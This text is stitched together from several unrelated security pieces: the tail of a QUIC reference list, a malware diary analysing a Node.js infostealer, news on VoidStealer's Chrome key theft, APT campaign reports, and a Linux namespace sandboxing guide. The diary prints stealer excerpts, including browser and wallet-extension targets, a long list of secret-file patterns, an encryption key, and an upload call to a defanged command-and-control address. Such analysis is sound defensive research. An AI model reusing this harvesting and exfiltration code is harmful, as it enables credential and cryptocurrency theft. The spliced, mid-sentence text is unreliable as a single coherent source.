also signal which protocols a server supports, including QUIC. Protocol A set of rules for how data travels across a network. TCP and UDP are both transport protocols, but they work very differently. References 1. Internet Engineering Task Force. QUIC: A UDP-Based Multiplexed and Secure Transport. RFC 9000. May 2021. rfc-editor.org/rfc/rfc9000 2. Palo Alto Networks. Create the Application Block Rules: Block QUIC. Internet Gateway Best Practices. docs.paloaltonetworks.com 3. Forcepoint. QUIC (UDP) Protocol Traffic Can Bypass Forcepoint Cloud and On-Premises Proxies. Support Advisory. support.forcepoint.com/s/article/000015410 4. Cloudflare. HTTP/3 Inspection, Cloudflare One Documentation. Accessed June 2026. developers.cloudflare.com 5. Keep Aware. 2026 Browser Security Report: Enterprise Blind Spots and AI Risk. March 2026. Coverage via BleepingComputer. bleepingcomputer.com 6. Endpoint Protector. Why Browser-Based Workflows Break Traditional DLP. February 2026. endpointprotector.com 7. Netskope Threat Labs. Cloud and Threat Report: 2026. January 2026. netskope.com 8. Code42 Software. 2024 Data Exposure Report. March 2024. globenewswire.com 9. Internet Engineering Task Force. Service Binding and Parameter Specification via the DNS (SVCB and HTTPS Resource Records). RFC 9460. November 2023. rfc-editor.org/info/rfc9460 10. Gartner. Definition of Cloud Access Security Brokers (CASBs). Gartner IT Glossary. gartner.com

I found a Node.js stealer that looked pretty well obfuscated. The file was not running out-of-the-box because it was uploaded on VT as “extracted-decoded.js” (and reformated). The SHA256 is 049300aa5dd774d6c984779a0570f59610399c71864b5d5c2605906db46ddeb9[1]. It did not run properly in a sandbox so only a static analysis was performed. The key point is that it is a cross-platform stealer targeting Windows (WSL), macOS and Linux. Good news for us, only the “wrapper” that is responsible for the execution is obfuscated but the malicious payloads are embedded in plain text! The obfuscation technique looks typical to the code produced by obfuscation.io[2]. We are facing a very long array of small Base64-encoded strings: function c() { const t8 = ["W54gaGuj", "pSkByhzh", "WRT/WPThyG", "CSomW6OXWQG", "WO7dIuVcTaq", "AYb2Axm", "WPT3WPJdLmkS", "WPTNeuWa", "hCkIW64XW7C", "W47cM0tcObS", "WPKbWOKfW74", "W6JdNCkDWRe+", "W53dLuxcP3u", "WRTUc8ocW4W", "ysiSica", "wCo4oser", "tSkAW5v3ca", "W54XaKvz", "W7nTe8ooW7a", "W4BcSSo/FLi", "W6HvW7i+FG", "W5iBabul", "F8oQW4JcVCku", "W5ldPCkKbcy", "W6ddQcdcNq0", "Aw5Niha", "Dcy9W5dcVq", "C8o/eqBcHW", "id0GBMu", "W5FcISkyW4FcJG", "WR1ieSotW4y", "wSoqq8o1da", "B3jKvMe", "icDmB2m", "uSkgW4qZiq", "WO7cMSkoW7zX", "W5HxW6OnW7S", "W4SBWRHwW7e", "zwa3W5dcOG", "W4PCW79DW6a", "omkrngXB", "xmkVCWeJ", "nCoEWQ1WWR0", "WRNcH3vwCG", "W7lcTSoUCq8", "rM9sWR/cPW", "W4ZcKbxcUIC", "DgGGDg8", "WR7dK8kpWROP", "fmo7j1et", "id09psa", "vSo4Cx4n", "iIWImJq", "WRrixrpcJq", "u29JA2u", "ve9swsW", "WRBdHH3dUa0", "W5RcKLpdTuW", "u3ruyKK", "WOVcLSowW4RcPG", "BwuGzgK", "ugf0AdO", "W63cJ3Kmaa", "WPVdRCk1bti", "DwrVige", "C8k2WQxcTh0", "igvUDhi", "tmkSl1Ld", "qqvnW4pcMa", "WPNdGahdO0i", "nmkQWRNdPNa", "WQD8qmodW6G", "W4NdK8oBW5pdQq", "quFcOmoQWRe", "Cbyarmkq", "tmkoWQHU", "ewb8W4eF", "vcCOWOPc", "WRtdQc3dIrW", "WQXIrSoqW5q", "kcDqCM8", "imkUWQtcPxC", "bmooW7q6hW", ... Other small functions are low-level decoders that perform a lot of arithmetic operations. There are three main payloads that all have their own purpose: The first one is a browser credential stealer. It supports: Chrome, Brave, Edge, Opera, Opera GX, Vivaldi, Kiwi, Yandex, Iridium, Comodo Dragon, SRWare Iron, Chromium, AVG Browser. const localAppDataBase = /mnt/c/Users/${windowsUsername}/AppData/Local; const browserRelativePaths = [ "Google/Chrome/User Data", // Chrome "BraveSoftware/Brave-Browser/User Data", // Brave "AVG Browser/User Data", // AVG Browser "Microsoft/Edge/User Data", // Edge "Opera Software/Opera Stable", // Opera "Opera Software/Opera GX", // Opera GX "Vivaldi/User Data", // Vivaldi "Kiwi Browser/User Data", // Kiwi "Yandex/YandexBrowser/User Data", // Yandex "Iridium/User Data", // Iridium "Comodo/Dragon/User Data", // Comodo "SRWare Iron/User Data", // SRWare "Chromium/User Data" // Chromium\n ]; The malware also looks for interesting wallet Chrome extensions: const wps = [ "nkbihfbeogaeaoehlefnkodbefgpgknn", "ejbalbakoplchlghecdalmeeeajnimhm", "acmacodkjbdgmoleebolmdjonilkdbch", "bfnaelmomeimhlpmgjnjophhpkkoljpa", "ibnejdfjmmkpcnlpebklmnkoeoihofec", "egjidjbpglichdcondbcbdnbeeppgdph", "nphplpgoakhhjchkkhmiggakijnkhfnd", "omaabbefbmiijedngplfjmnooppbclkk", "bhhhlbepdkbapadjdnnojkbgioiodbic", "aeachknmefphepccionboohckonoeemg", "aflkmhkiijdbfcmhplgifokgdeclgpoi", "agoakfejjabomempkjlepdflaleeobhb", "aholpfdialjgjfhomihkjbmgjidlcdno", "afbcbjpbpfadlkmhmclhkeeodmamcflc", "cgbogdmdefihhljhfeffkljbghamglni", "dmkamcknogkgcdfhhbddcghachkejeap", "dlcobpjiigpikoobohmabehhmhfoodbb", "efbglgofoippbgcjepnhiblaibcnclgk", "ejjladinnckdgjemekebdpeokbikhfci", "fhbohimaelbohpjbbldcngcnapndodjp", "fhkbkphfeanlhnlffkpologfoccekhic", "fhmfendgdocmcbmfikdcogofphimnkno", "fldfpgipfncgndfolcbkdeeknbbbnhcc", "gjnckgkfmgmibbkoficdidcljeaaaheg", "hifafgmccdpekplomjjkcfgodnhcellj", "hmeobnfnfcmdkdcmlblgagmfpfboieaf", "hnfanknocfeofbddgcijnmhnfnkdnaad", "jiidiaalihmmhddjgbnbgdfflelocpak", "jblndlipeogpafnldhgmapagcccfchpi", "jmbkjchcobfffnmjboflnchcbljiljdk", "jnjpmcgfcfeffkfgcnjefkbkgcpnkpab", "kpkmkbkoifcfpapmleipncofdbjdpice", "khpkpbbcccdmmclmpigdgddabeilkdpd", "ldinpeekobnhjjdofggfgjlcehhmanaj", "lgmpcpglpngdoalbgeoldeajfclnhafa", "mcohilncbfahbmgdjkbpemcciiolgcge", "mopnmbcafieddcagagdcbnhejhlodfdd", "nkklfkfpelhghbidbnpdfhblphpfjmbo", "penjlddjkjgpnkllboccdgccekpkcbin", "ppbibelpcjmhbdihakflkdcoccbgbkpo" ] Data is exfiltrated to port 8085. The second one is a recursive file exfiltration scanner. It scans the victim’s filesystem and search for sensitive files by name/extension. const SENSITIVE_FILE_PATTERNS = [ ".keystore", "phone", "database","bank", "financ",".env","env","environment","config","configuration","configure",".conf", ".cfg",".ini",".properties",".yaml",".yml",".toml","metamask","phantom","bitcoin","ethereum","eth","trust", "wallet","coinbase","exodus","ledger","trezor","keystore","keyring","keychain","atomic","electrum","mycelium", "blockchain","bravewallet","rabby","coin98","backpack","core","mathwallet","solflare","glow","keplr","argent", "martian","petra","binance","okx","crypto","cryptocurrency","hardhat","truffle","private","privatekey", "private_key", "private-key","privkey","priv_key","key","keypair","key_pair","keypair",".pem",".p12",".pfx",".jks","keystore",".keys", "keys",".p8",".p7b",".p7c",".cer",".crt",".cert","cert",".der","id_rsa","id_dsa","id_ecdsa","id_ed25519",".pub", ".priv","seed","seedphrase","seed_phrase","seed-phrase","mnemonic","phrase","passphrase","pass_phrase", "pass-phrase","recovery","recoveryphrase","recovery_phrase","recovery-phrase","backup","backupphrase","backup_phrase", "backup-phrase","12words","12_words","12words","24words","24_words","24words","bip39","bip44","password","passwd","pass","pwd", "credential","credentials","auth","authentication","token","access_token","refresh_token","api_key","apikey","api-key", "apisecret","api_secret","api-secret","secret","secrets","secretkey","secret_key","secret-key","masterkey","master_key", "master-key","masterpassword","master_password","master-password","account","accounts","profile","profiles","user", "username","user_name","user-name","login","signin","sign_in","sign-in","address","addresses","tx","transaction","transactions", ".db",".sqlite",".sqlite3",".sql",".mdb",".accdb",".dbf",".doc",".docx",".pdf",".md",".markdown",".rtf",".odt", ".xls",".xlsx",".txt","text","note","notes","memo","memos","screenshot","screen","snapshot","capture",".png",".jpg", ".jpeg",".bmp",".json",".js",".ts",".jsx",".tsx",".csv",".xml",".lock",".log",".bak","backup",".old",".orig",".save", ????? ".swp",".tmp","tmp","my","personal","vault","safe","secure","lock","encrypt","decrypt","signature","sign","certificate", "cert","identity","session","cookie" ]; Interesting files are exfiltrated via port 8086. Finally, the third module implements a WebSocket connection to the C2 server (port 8087) with reverse-shell capabilities. Upon the first connection the following info is sent to the C2 via a POST reques to hxxp://216[.]126[.]225[.]243:8087/api/notify { "ukey": 504, "t": 5, "host": "504_ ", "os": " ", "username": " ", "timestamp": } All communications (on different ports) are made with the IP address 216.126.225.243. This IP address is known as a DPRK OtterCookie C2[3]. Note that if the execution module is pretty well obfuscated, the key used to encrypt data is available in plain text: const X = crypto.createHmac("sha256", "SuperStr0ngSecret@)@^").update(l).digest("hex"); Also, all HTTP communications are performed via the Axios[4] NPM package: const response = await axios.post(" + "hxxp://216[.]126[.]225[.]243:8086/upload" + ", form, { ... [1] https://www.virustotal.com/gui/file/049300aa5dd774d6c984779a0570f59610399c71864b5d5c2605906db46ddeb9 [2] https://obfuscator.io [3] https://socket.dev/blog/north-korea-contagious-interview-npm-attacks [4] https://github.com/axios/axios Xavier Mertens (@xme) Xameco Senior ISC Handler - Freelance Cyber Security Consultant PGP Key

An information stealer called VoidStealer uses a new approach to bypass Chrome’s Application-Bound Encryption (ABE) and extract the master key for decrypting sensitive data stored in the browser. The novel method is stealthier and relies on hardware breakpoints to extract the v20_master_key, used for both encryption and decryption, directly from the browser's memory, without requiring privilege escalation or code injection. A report from Gen Digital, the parent company behind the Norton, Avast, AVG, and Avira brands, notes that this is the first case of an infostealer observed in the wild to use such a mechanism. Google introduced ABE in Chrome 127, released in June 2024, as a new protection mechanism for cookies and other sensitive browser data. It ensures that the master key remains encrypted on disk and cannot be recovered through normal user-level access. Decrypting the key requires the Google Chrome Elevation Service, which runs as SYSTEM, to validate the requesting process. However, this system has been bypassed by multiple infostealer malware families and has even been demonstrated in open-source tools. Although Google implemented fixes and improvements to block these bypasses, new malware versions reportedly continued to succeed using other methods. “VoidStealer is the first infostealer observed in the wild adopting a novel debugger-based Application-Bound Encryption (ABE) bypass technique that leverages hardware breakpoints to extract the v20_master_key directly from browser memory,” says Vojtech Krejsa, threat researcher at Gen Digital. VoidStealer is a malware-as-a-service (MaaS) platform advertised on dark web forums since at least mid-December 2025. The malware introduced the new ABE bypass mechanism in version 2.0. Stealing the master key VoidStealer's trick to extract the master key is to target a short moment when Chrome’s v20_master_key is briefly present in memory in plaintext state during decryption operations. Specifically, VoidStealer starts a suspended and hidden browser process, attaches it as a debugger, and waits for the target browser DLL (chrome.dll or msedge.dll) to load. When loaded, it scans the DLL for a specific string and the LEA instruction that references it, using that instruction's address as the hardware breakpoint target. Next, it sets that breakpoint across existing and newly created browser threads, waits for it to trigger during startup while the browser is decrypting protected data, then reads the register holding a pointer to the plaintext v20_master_key and extracts it with ‘ReadProcessMemory.’ Gen Digital explains that the ideal time for the malware to do this is during browser startup, when the application loads ABE-protected cookies early, forcing the decryption of the master key. The researchers explained that VoidStealer likely did not invent this technique but rather adopted it from the open-source project ‘ElevationKatz,’ part of the ChromeKatz cookie-dumping toolset that demonstrates weaknesses in Chrome. Although there are some differences in the code, the implementation appears to be based on ElevationKatz, which has been available for more than a year. BleepingComputer has contacted Google with a request for a comment on this bypass method being used by threat actors, but a reply was not available by publishing time. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

The Russia-aligned threat actor known as UAC-0184 has been observed targeting Ukrainian military and government entities by leveraging the Viber messaging platform to deliver malicious ZIP archives. "This organization has continued to conduct high-intensity intelligence gathering activities against Ukrainian military and government departments in 2025," the 360 Threat Intelligence Center said in a technical report. Also tracked as Hive0156, the hacking group is primarily known for leveraging war-themed lures in phishing emails to deliver Hijack Loader in attacks targeting Ukrainian entities. The malware loader subsequently acts as a pathway for Remcos RAT infections. The threat actor was first documented by CERT-UA in early January 2024. Subsequent attack campaigns have been found to leverage messaging apps like Signal and Telegram as a delivery vehicle for malware. The latest findings from the Chinese security vendor points to a further evolution of this tactic. The attack chain involves the use of Viber as an initial intrusion vector to distribute malicious ZIP archives containing multiple Windows shortcut (LNK) files disguised as official Microsoft Word and Excel documents to trick recipients into opening them. The LNK files are designed to serve a decoy document to the victim to lower their suspicion, while silently executing Hijack Loader in the background by fetching a second ZIP archive ("smoothieks.zip") from a remote server by means of a PowerShell script. The attack reconstructs and deploys Hijack Loader in memory through a multi-stage process that employs techniques like DLL side-loading and module stomping to evade detection by security tools. The loader then scans the environment for installed security software, such as those related to Kaspersky, Avast, BitDefender, AVG, Emsisoft, Webroot, and Microsoft, by calculating the CRC32 hash of the corresponding program. Besides establishing persistence by means of scheduled tasks, the loader takes steps to subvert static signature detection before covertly executing Remcos RAT by injecting it into "chime.exe." The remote administration tool grants the attackers the ability to manage the endpoint, execute payloads, monitor activities, and steal data. "Although marketed as legitimate system management software, its powerful intrusive capabilities make it frequently used by various malicious attackers for cyber espionage and data theft activities," the 360 Threat Intelligence Center said. "Through the graphical user interface (GUI) control panel provided by Remcos, attackers can perform batch automated management or precise manual interactive operations on the victim's host."

The threat actor known as Transparent Tribe has been attributed to a fresh set of attacks targeting Indian governmental, academic, and strategic entities with a remote access trojan (RAT) that grants them persistent control over compromised hosts. "The campaign employs deceptive delivery techniques, including a weaponized Windows shortcut (LNK) file masquerading as a legitimate PDF document and embedded with full PDF content to evade user suspicion," CYFIRMA said in a technical report. Transparent Tribe, also called APT36, is a hacking group that's known for mounting cyber espionage campaigns against Indian organizations. Assessed to be of Pakistani origin, the state-sponsored adversary has been active since at least 2013. The threat actor boasts of an ever-evolving arsenal of RATs to realize its goals. Some of the trojans put to use by Transparent Tribe in recent years include CapraRAT, Crimson RAT, ElizaRAT, and DeskRAT. The latest set of attacks began with a spear-phishing email containing a ZIP archive with a LNK file disguised as a PDF. Opening the file triggers the execution of a remote HTML Application (HTA) script using "mshta.exe" that decrypts and loads the final RAT payload directly in memory. In tandem, the HTA downloads and opens a decoy PDF document so as not to arouse users' suspicion. "After decoding logic is established, the HTA leverages ActiveX objects, particularly WScript.Shell, to interact with the Windows environment," CYFIRMA noted. "This behavior demonstrates environment profiling and runtime manipulation, ensuring compatibility with the target system and increasing execution reliability techniques commonly observed in malware abusing 'mshta.exe.'" A noteworthy aspect of the malware is its ability to adapt its persistence method based on the antivirus solutions installed on the infected machine - If Kapsersky is detected, it creates a working directory under "C:\Users\Public\core\," writes an obfuscated HTA payload to disk, and establishes persistence by dropping a LNK file in the Windows Startup folder that, in turn, launches the HTA script using "mshta.exe" If Quick Heal is detected, it establishes persistence by creating a batch file and a malicious LNK file in the Windows Startup folder, writing the HTA payload to disk, and then calling it using the batch script If Avast, AVG, or Avira are detected, it works by directly copying the payload into the Startup directory and executing it If no recognized antivirus solution is detected, it falls back to a combination of batch file execution, registry based persistence, and payload deployment prior to launching the batch script The second HTA file includes a DLL named "iinneldc.dll" that functions as a fully-featured RAT, supporting remote system control, file management, data exfiltration, screenshot capture, clipboard manipulation, and process control. "APT36 (Transparent Tribe) remains a highly persistent and strategically driven cyber-espionage threat, with a sustained focus on intelligence collection targeting Indian government entities, educational institutions, and other strategically relevant sectors," the cybersecurity company said. In recent weeks, APT36 has also been linked to another campaign that leverages a malicious shortcut file disguised as a government advisory PDF ("NCERT-Whatsapp-Advisory.pdf.lnk") to deliver a .NET-based loader, which then drops additional executables and malicious DLLs to establish remote command execution, system reconnaissance, and long-term access. The shortcut is designed to execute an obfuscated command using cmd.exe to retrieve an MSI installer ("nikmights.msi") from a remote server ("aeroclubofindia.co[.]in"), which is responsible for initiating a series of actions - Extract and display a decoy PDF document to the victim Decode and write DLL files to "C:\ProgramData\PcDirvs\pdf.dll" and "C:\ProgramData\PcDirvs\wininet.dll" Drop "PcDirvs.exe" to the same the same location and execute it after a delay of 10 seconds Establish persistence by creating "PcDirvs.hta" that contains Visual Basic Script to make Registry modifications to launch "PcDirvs.exe" every time after system startup It's worth pointing out that the lure PDF displayed is a legitimate advisory issued by the National Cyber Emergency Response Team of Pakistan (PKCERT) in 2024 about a fraudulent WhatsApp message campaign targeting government entities in Pakistan with a malicious WinRAR file that infects systems with malware. The DLL "wininet.dll" connects to a hard-coded command-and-control (C2) infrastructure hosted at dns.wmiprovider[.]com. It was registered in mid-April 2025. The C2 associated with the activity is currently inactive, but the Windows Registry-based persistence ensures that the threat can be resurrected at any time in the future. "The DLL implements multiple HTTP GET–based endpoints to establish communication with the C2 server, perform updates, and retrieve attacker-issued commands," CYFIRMA said. "To evade static string detection, the endpoint characters are intentionally stored in reversed order." The list of endpoints is as follows - /retsiger (register), to register the infected system with the C2 server /taebtraeh (heartbeat), to beacon its presence to the C2 server /dnammoc_teg (get_command), to run arbitrary commands via "cmd.exe" /dnammocmvitna (antivmcommand), to query or set an anti-VM status and likely adjust behavior The DLL also queries installed antivirus products on the victim system, turning it into a potent tool capable of conducting reconnaissance and gathering sensitive information. Patchwork Linked to New StreamSpy Trojan The disclosure comes weeks after Patchwork (aka Dropping Elephant or Maha Grass), a hacking group believed to be of Indian origin, was linked to attacks targeting Pakistan's defense sector with a Python-based backdoor that's distributed via phishing emails containing ZIP files, according to security researcher Idan Tarab. Present within the archive is an MSBuild project that, when executed via "msbuild.exe," deploys a dropper to ultimately install and launch the Python RAT. The malware is equipped to contact a C2 server and run remote Python modules, execute commands, and upload/download files. "This campaign represents a modernized, highly obfuscated Patchwork APT toolkit blending MSBuild LOLBin loaders, PyInstaller‑modified Python runtimes, marshalled bytecode implants, geofencing, randomized PHP C2 endpoints, [and] realistic persistence mechanisms," Tarab said. As of December 2025, Patchwork has also been associated with a previously undocumented trojan named StreamSpy, which uses WebSocket and HTTP protocols for C2 communication. While the WebSocket channel is used to receive instructions and transmit the execution results, HTTP is leveraged for file transfers. StreamSpy's links to Patchwork, per QiAnXin, stem from its similarities to Spyder, a variant of another backdoor named WarHawk that's attributed to SideWinder. Patchwork's use of Spyder dates all the way back to 2023. Distributed via ZIP archives ("OPS-VII-SIR.zip") hosted on "firebasescloudemail[.]com," the malware ("Annexure.exe") can harvest system information, establish persistence via Windows Registry, scheduled task, or via a LNK file in the Startup folder, communicate with the C2 server using HTTP and WebSocket. The list of support commands is below - F1A5C3, to download a file and open it using ShellExecuteExW B8C1D2, to set the shell for command execution to cmd E4F5A6, to set the shell for command execution to PowerShell FL_SH1, to close all shells C9E3D4, E7F8A9, H1K4R8, C0V3RT, to download encrypted zip files from the C2 server, extract them, and open them using ShellExecuteExW F2B3C4, to gather information about the file system and all disks connected to the device D5E6F7, to perform file upload and download A8B9C0, to perform file upload D1E2F3, to delete a file A4B5C6, to rename a file D7E8F9, to enumerate a specific folder QinAnXin said the StreamSpy download site also hosts Spyder variants with extensive data collection features, adding the malware's digital signature exhibits correlations with a different Windows RAT called ShadowAgent attributed to the DoNot Team (aka Brainworm). Interestingly, 360 Threat Intelligence Center flagged the same "Annexure.exe" executable as ShadowAgent in November 2025. "The emergence of the StreamSpy trojan and Spyder variants from the Maha Grass group indicates that the group is continuously iterating its arsenal of attack tools," the Chinese security vendor said. "In the StreamSpy trojan, attackers attempt to use WebSocket channels for command issuance and result feedback to evade detection and censorship of HTTP traffic. Additionally, the correlated samples further confirm that the Maha Grass and DoNot attack groups have some connections in terms of resource sharing."

When you need to analyze some suspicious pieces of code, it's interesting to detonate them in a sandbox. If you don't have a complete sandbox environment available or you just want to avoid generatin noise on your network, why not route the traffic to a sinkhole or NULL-route (read: packets won't be sent across the normal network and default gateway). When you inspect a process using the /proc[1] virtual filesystem, there is a "route" file: remnux@remnux:~$ cat /proc/1180/net/route Iface Destination Gateway Flags RefCnt Use Metric Mask MTU Window IRTT ens19 00000000 01FEA8C0 0003 0 0 100 00000000 0 0 0 ens18 004A10AC 00000000 0001 0 0 0 00FFFFFF 0 0 0 ens19 00FEA8C0 00000000 0001 0 0 0 00FFFFFF 0 0 0 ens19 01FEA8C0 00000000 0005 0 0 100 FFFFFFFF 0 0 0 It displays the IP routing table assigned to this process. Typically, IP addresses are encoded in little-endian hexadecimal values. They can be easily decoded using a few lines of Python: gw = "01FEA8C0" octets = [gw[i:i+2] for i in range(0, len(gw), 2)] ip = '.'.join(str(int(o, 16)) for o in octets) print(ip) # Will return: 1.254.168.192 Does it mean that we could apply a specific routing table to a process? Yes and no... In /proc, the "route" file is read-only. But, Linux is full of features that many people aren't aware of. One of them are namespaces[2]. It's a kernel feature (introduced around 2016 if I remember well) that provides isolation of system resources between processes (a bit like containers). Each namespace type—such as PID, mount, UTS, network, IPC, and user—isolates a specific aspect of the operating system environment. For example, the network namespace gives processes their own network stack, including interfaces and routing tables. Very interesting! Let's try this and run our suscipious script in a dedicated namespace. My suspicious script will be super simple: remnux@remnux:~$ cat sample.sh #!/bin/bash echo "Am I bad?" curl https://isc.sans.edu First example, no network connectivity at all! remnux@remnux:~$ sudo unshare --net bash root@remnux:/home/remnux# ./sample.sh Am I bad? curl: (6) Could not resolve host: isc.sans.edu root@remnux:/home/remnux# ip a 1: lo: mtu 65536 qdisc noop state DOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 root@remnux:/home/remnux# ip r Error: ipv4: FIB table does not exist. Dump terminated root@remnux:/home/remnux# exit remnux@remnux:~$ The unshare command (executed as root) will create a new shell in a new namespace with dropped network settings. When curl is executed, it can't resolve isc.sans.edu nor connect to it. We have a complete network isolation. Second example, let's build a dedicated IP stack that will route packets to another IP address, our synchole. A pair of virtial Ethernet interfaces must be added. In this case, 10.0.0.1 will be the new namespace and 10.0.0.2 the main one. (Note: I'll change the bash prompt to make it clearer) remnux@remnux:~$ sudo unshare --net bash root@remnux:/home/remnux# export PS1="namespace> " namespace> ip link set lo up namespace> ip link add veth0 type veth peer name veth1 namespace> ip link set veth0 up namespace> ip addr add 10.0.0.1/24 dev veth0 namespace> ip a 1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: veth1@veth0: mtu 1500 qdisc noop state DOWN group default qlen 1000 link/ether b6:5c:6e:ed:c3:62 brd ff:ff:ff:ff:ff:ff 3: veth0@veth1: mtu 1500 qdisc noqueue state LOWERLAYERDOWN group default qlen 1000 link/ether 66:72:35:1f:9f:9e brd ff:ff:ff:ff:ff:ff inet 10.0.0.1/24 scope global veth0 valid_lft forever preferred_lft forever namespace> ip link set veth1 netns 1 On the main namespace (your original shell), create the virtual NIC: root@remnux:/home/remnux# ip addr add 10.0.0.2/24 dev veth1 root@remnux:/home/remnux# ip link set veth1 up Back in the new namespace: namespace> ping 10.0.0.2 PING 10.0.0.2 (10.0.0.2) 56(84) bytes of data. 64 bytes from 10.0.0.2: icmp_seq=1 ttl=64 time=0.020 ms 64 bytes from 10.0.0.2: icmp_seq=2 ttl=64 time=0.034 ms ^C --- 10.0.0.2 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1023ms rtt min/avg/max/mdev = 0.020/0.027/0.034/0.007 ms Let's add a default route to the IP in the main namespace: namespace> ip route add default via 10.0.0.2 namespace> ping 8.8.8.8 PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data. ^C --- 8.8.8.8 ping statistics --- 13 packets transmitted, 0 received, 100% packet loss, time 12293ms If we run a tcpdump on veth1, we can now capture all the network connection attempts from the namespace: root@remnux:/home/remnux# tcpdump -i veth1 -n tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on veth1, link-type EN10MB (Ethernet), capture size 262144 bytes 11:02:32.122380 ARP, Request who-has 10.0.0.2 tell 10.0.0.1, length 28 11:02:32.122408 ARP, Reply 10.0.0.2 is-at b6:5c:6e:ed:c3:62, length 28 11:02:32.154271 IP 10.0.0.1 > 8.8.8.8: ICMP echo request, id 18547, seq 6, length 64 11:02:33.178401 IP 10.0.0.1 > 8.8.8.8: ICMP echo request, id 18547, seq 7, length 64 11:02:34.202411 IP 10.0.0.1 > 8.8.8.8: ICMP echo request, id 18547, seq 8, length 64 ^C 5 packets captured 5 packets received by filter 0 packets dropped by kernel Finally, let's verify the routing table of the shell running in the new namespace: namespace> echo $$ 149522 On the main namespace: root@remnux:/home/remnux# cat /proc/149522/net/route Iface Destination Gateway Flags RefCnt Use Metric Mask MTU Window IRTT veth0 00000000 0200000A 0003 0 0 0 00000000 0 0 0 veth0 0000000A 00000000 0001 0 0 0 00FFFFFF 0 0 0 (0x0200000A = 10.0.0.2) Done! The current configuration is very basic and does not provide, amongst others, a DNS. Your sinkholed sample won't be able to resolve FQDN. Also, you could really route the packets by enabling ip_forward and NAT the traffic. WARNING: This is not a bullet-proof solution to perform malware analysis: Only the network traffic was isolated! [1] https://docs.kernel.org/filesystems/proc.html [2] https://en.wikipedia.org/wiki/Linux_namespaces Xavier Mertens (@xme) Xameco Senior ISC Handler - Freelance Cyber Security Consultant PGP Key